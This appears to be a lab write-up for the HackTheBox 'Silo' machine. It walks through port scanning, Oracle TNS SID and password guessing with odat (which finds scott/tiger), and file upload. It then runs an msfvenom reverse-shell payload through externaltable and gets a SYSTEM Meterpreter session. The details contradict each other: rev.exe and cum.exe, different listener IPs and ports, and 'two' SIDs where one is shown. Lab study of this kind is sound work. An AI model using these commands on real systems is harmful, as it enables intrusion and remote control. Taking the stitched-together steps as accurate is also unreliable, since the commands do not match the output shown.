nmap
Nmap scan report for 10.10.10.82
Host is up (0.10s latency).
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49159/tcp open oracle-tns Oracle TNS listener (requires service name)
49160/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1m32s, deviation: 0s, median: -1m32s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-12-16T04:49:30
|_ start_date: 2020-12-16T04:45:54
Port 80 HTTP
ffuf -u http://10.10.10.82/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -c
aspnet_client [Status: 301, Size: 156, Words: 9, Lines: 2]
Port 135,139 & 445 SMB
crackmapexec smb 10.10.10.82 -u '' -p '' --shares
SMB 10.10.10.82 445 SILO [*] Windows Server 2012 R2 Standard 9600 x64 (name:SILO) (domain:SILO) (signing:False) (SMBv1:True)
SMB 10.10.10.82 445 SILO [-] SILO\: STATUS_ACCESS_DENIED
Port 1521 Oracle TNS
A general guide to attacking the service can be found here. We will use odat to do this task. In Kali, it can be installed with apt. We can also check the GitHub repo if we need more up-to-date versions.
odat sidguesser -s 10.10.10.82 -p 1521
[1] (10.10.10.82:1521): Searching valid SIDs
[1.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server
[+] SIDs found on the 10.10.10.82:1521 server: XE
With the above odat command, we have found two valid sids. Next, we will try to enumerate login credentials for them. A small wordlist that comes with odat is being used first. Shortly, we find some valid credentials for the database system.
sudo odat passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file /usr/share/odat/accounts/accounts_small.txt
[+] Valid credentials found: scott/tiger. Continue..
Having valid credentials, we can begin our exploitation. First, we check if the java module is available, which is the easiest way to achieve RCE.
To do it this way, we will need another module utlfile
sudo odat utlfile -s 10.10.10.82 -p 1521 -d XE -U scott -P tiger --sysdba --test-module
[1] (10.10.10.82:1521): Test if the UTL_FILE library can be used
[1.1] UTL_FILE library ?
[+] OK
Now that we are able to both write files and execute the files, we can begin to generate our payload with msfvenom.
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.18 lport=4444 -f exe -o rev.exe
We kindly upload our completely-not-malicious little program to the target.
[1] (10.10.10.82:1521): Put the /home/xi/htb/silo/cum.exe local file in the c:/windows/temp folder like cum.exe on the 10.10.10.82 server
[+] The /home/xi/htb/silo/cum.exe file was created on the c:/windows/temp directory on the 10.10.10.82 server like the cum.exe file
We execute our payload with the externaltable module. After that, odat hangs, which is a good sign to us.
sudo odat externaltable -s 10.10.10.82 -p 1521 -d XE -U scott -P tiger --sysdba --exec c:/windows/temp rev.exe
[1] (10.10.10.82:1521): Execute the cum.exe command stored in the c:/windows/temp path
with netcat or metasploit multi handler we can listen and get a reverse shell
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 10.10.14.11:4443
[*] Sending stage (175686 bytes) to 10.10.10.82
[*] Meterpreter session 1 opened (10.10.14.11:4443 -> 10.10.10.82:49163) at 2023-06-12 05:37:08 +0300
(Meterpreter 1)(C:\oraclexe\app\oracle\product\11.2.0\server\DATABASE) > getuid
Server username: NT AUTHORITY\SYSTEM